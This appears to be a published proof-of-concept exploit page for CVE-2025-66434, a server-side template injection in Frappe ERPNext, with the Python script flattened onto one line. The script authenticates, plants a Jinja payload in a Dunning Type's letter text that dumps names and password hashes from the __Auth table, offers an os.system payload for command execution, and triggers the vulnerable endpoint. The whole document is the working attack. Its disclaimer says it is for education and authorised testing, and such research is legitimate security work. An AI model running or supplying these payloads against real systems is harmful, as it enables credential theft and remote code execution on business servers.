CVE-2025-66434: Frappe ERPNext SSTI远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-66434 PoC - Frappe ERPNext SSTI in get_dunning_letter_text Note: This is for educational and authorized testing purposes only. """ import requests import json TARGET_URL = "https://target-erpnext-instance.com" LOGIN_API = f"{TARGET_URL}/api/method/login" DUNNING_API = f"{TARGET_URL}/api/resource/Dunning%20Type" # Authentication credentials USERNAME = "your_username" PASSWORD = "your_password" def login(): """Authenticate to Frappe ERPNext""" session = requests.Session() response = session.post(LOGIN_API, json={ "usr": USERNAME, "pwd": PASSWORD }) return session if response.status_code == 200 else None def create_malicious_dunning(session): """Create Dunning Type with SSTI payload in body_text""" # SSTI payload to extract database information # Using frappe.db.sql to execute arbitrary SQL queries ssti_payload = """ {{frappe.db.sql("SELECT name, password FROM __Auth")}} """ # Alternative payload for RCE (if conditions allow) rce_payload = """ {{frappe.app.call("os.system", "id > /tmp/pwned")}} """ dunning_data = { "doctype": "Dunning Type", "dunning_type": "Test SSTI", "company": "Your Company", "dunning_letter_text": [ { "doctype": "Dunning Letter Text", "body_text": ssti_payload, # Malicious SSTI payload "language": "en" } ] } headers = { "Content-Type": "application/json" } response = session.post(DUNNING_API, json=dunning_data, headers=headers) return response def trigger_ssti(session, dunning_name): """Trigger the vulnerable get_dunning_letter_text method""" trigger_url = f"{TARGET_URL}/api/method/erpnext.accounts.dunning.get_dunning_letter_text" payload = { "dunning_type": dunning_name, "doc": { "name": dunning_name, "doctype": "Dunning Type" } } response = session.post(trigger_url, json=payload) return response def main(): print("[*] CVE-2025-66434 PoC - Frappe ERPNext SSTI") print("[*] Target:", TARGET_URL) # Step 1: Login print("\n[1] Authenticating...") session = login() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Create malicious Dunning Type print("\n[2] Creating malicious Dunning Type...") response = create_malicious_dunning(session) if response.status_code in [200, 201]: print("[+] Malicious Dunning Type created") data = response.json() dunning_name = data.get("data", {}).get("name") # Step 3: Trigger SSTI print("\n[3] Triggering SSTI...") result = trigger_ssti(session, dunning_name) if result.status_code == 200: print("[+] SSTI triggered successfully!") print("[*] Response:", result.text) else: print("[-] Failed to create Dunning Type:", response.text) if __name__ == "__main__": main()